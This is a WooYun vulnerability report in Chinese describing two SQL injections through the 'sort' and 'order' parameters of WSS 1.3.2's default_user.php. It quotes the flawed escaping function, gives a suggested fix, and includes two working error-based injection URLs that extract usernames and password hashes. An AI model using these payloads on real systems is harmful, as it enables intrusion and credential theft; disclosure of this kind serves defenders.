当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084139

漏洞标题:WSS最新版某处SQL注入直接获取数据二(两处)

相关厂商:WSS Lab

漏洞作者: xfkxfk

提交时间:2014-11-24 11:14

修复时间:2014-12-31 11:16

公开时间:2014-12-31 11:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-24: 细节已通知厂商并且等待厂商处理中
2014-11-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-23: 细节向核心白帽子及相关领域专家公开
2015-02-02: 细节向普通白帽子公开
2015-02-12: 细节向实习白帽子公开
2014-12-31: 细节向公众公开

简要描述:

WSS最新版某处SQL注入直接获取数据二(两处)

详细说明:

WSS最新版1.3.2
文件default_user.php

<?php require_once('config/tank_config.php'); ?>
<?php require_once('session_unset.php'); ?>
<?php require_once('session.php'); ?>
<?php
$url_project = $_SERVER["QUERY_STRING"] ;
$current_url = current(explode("&sort",$url_project));
$currentPage = $_SERVER["PHP_SELF"];
$maxRows_Recordset1 = get_item( 'maxrows_user' );
$pageNum_Recordset1 = 0;
if (isset($_GET['pageNum_Recordset1'])) {
$pageNum_Recordset1 = $_GET['pageNum_Recordset1'];
}
$startRow_Recordset1 = $pageNum_Recordset1 * $maxRows_Recordset1;
$sortlist = "tk_user_registered";
if (isset($_GET['sort'])) {
$sortlist = $_GET['sort'];
}
$orderlist = "DESC";
if (isset($_GET['order'])) {
$orderlist= $_GET['order'];
}
$colrole_Recordset1 = "";
if (isset($_GET['select3'])) {
$colrole_Recordset1 = $_GET['select3'];
}
$colrole_dis = "0";
if (isset($_GET['select1'])) {
$colrole_dis = $_GET['select1'];
}
$colinputtitle_Recordset1 = "";
if (isset($_GET['inputtitle'])) {
$colinputtitle_Recordset1 = $_GET['inputtitle'];
}
mysql_select_db($database_tankdb, $tankdb);
$query_Recordset1 = sprintf("SELECT * FROM tk_user WHERE tk_user_rank LIKE %s AND tk_user_rank NOT LIKE %s AND tk_display_name LIKE %s ORDER BY %s %s", GetSQLValueString("%" . $colrole_Recordset1 . "%", "text"),
GetSQLValueString("%" . $colrole_dis . "%", "text"),
GetSQLValueString("%" . $colinputtitle_Recordset1 . "%", "text"),
GetSQLValueString($sortlist, "defined", $sortlist, "NULL"),
GetSQLValueString($orderlist, "defined", $orderlist, "NULL"));
$query_limit_Recordset1 = sprintf("%s LIMIT %d, %d", $query_Recordset1, $startRow_Recordset1, $maxRows_Recordset1);
$Recordset1 = mysql_query($query_limit_Recordset1, $tankdb) or die(mysql_error());
$row_Recordset1 = mysql_fetch_assoc($Recordset1);


这里注入:

GetSQLValueString($sortlist, "defined", $sortlist, "NULL"),
GetSQLValueString($orderlist, "defined", $orderlist, "NULL"));


$sortlist和$orderlist是GET获取的参数通过这里的GetSQLValueString函数处理
我们进入GetSQLValueString函数,function.class.ph:

if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
{
if (PHP_VERSION < 6) {
$theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
}
$theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
switch ($theType) {
case "text":
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
break;
case "long":
case "int":
$theValue = ($theValue != "") ? intval($theValue) : "NULL";
break;
case "double":
$theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
break;
case "date":
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
break;
case "defined":
$theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
break;
}
return $theValue;
}
}


这里对传入的参数进行了处理
但是当$theType为defined的时候,当$theValue不为空时返回$theDefinedValue,当$theValue为空时返回$theNotDefinedValue
所以,从上面的GET获取的参数值即为这里的$theValue
当$theValue不为空时,即返回$theDefinedValue,这里就是$theValue
$theValue没有过滤,最后进入SQL,导致SQL注入。。。
这里存在两处SQL注入
第一处为 $sortlist = $_GET['sort'];
第二处为 $orderlist= $_GET['order'];

漏洞证明:

http://localhost/WSS1.3.2_cn/wss/default_user.php?sort=uid and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(tk_user_login,tk_user_pass) from tk_user limit 0,1))a from information_schema.tables group by a)b)%23
http://localhost/WSS1.3.2_cn/wss/default_user.php?sort=111111&order=uid and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(tk_user_login,tk_user_pass) from tk_user limit 0,1))a from information_schema.tables group by a)b)%23


原始页面:

1.png


注入数据:

2.png

修复方案:

这里位于order by后面
GetSQLValueString($orderlist, "text")即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-31 11:16

厂商回复:

最新状态:

暂无


漏洞评价:

评论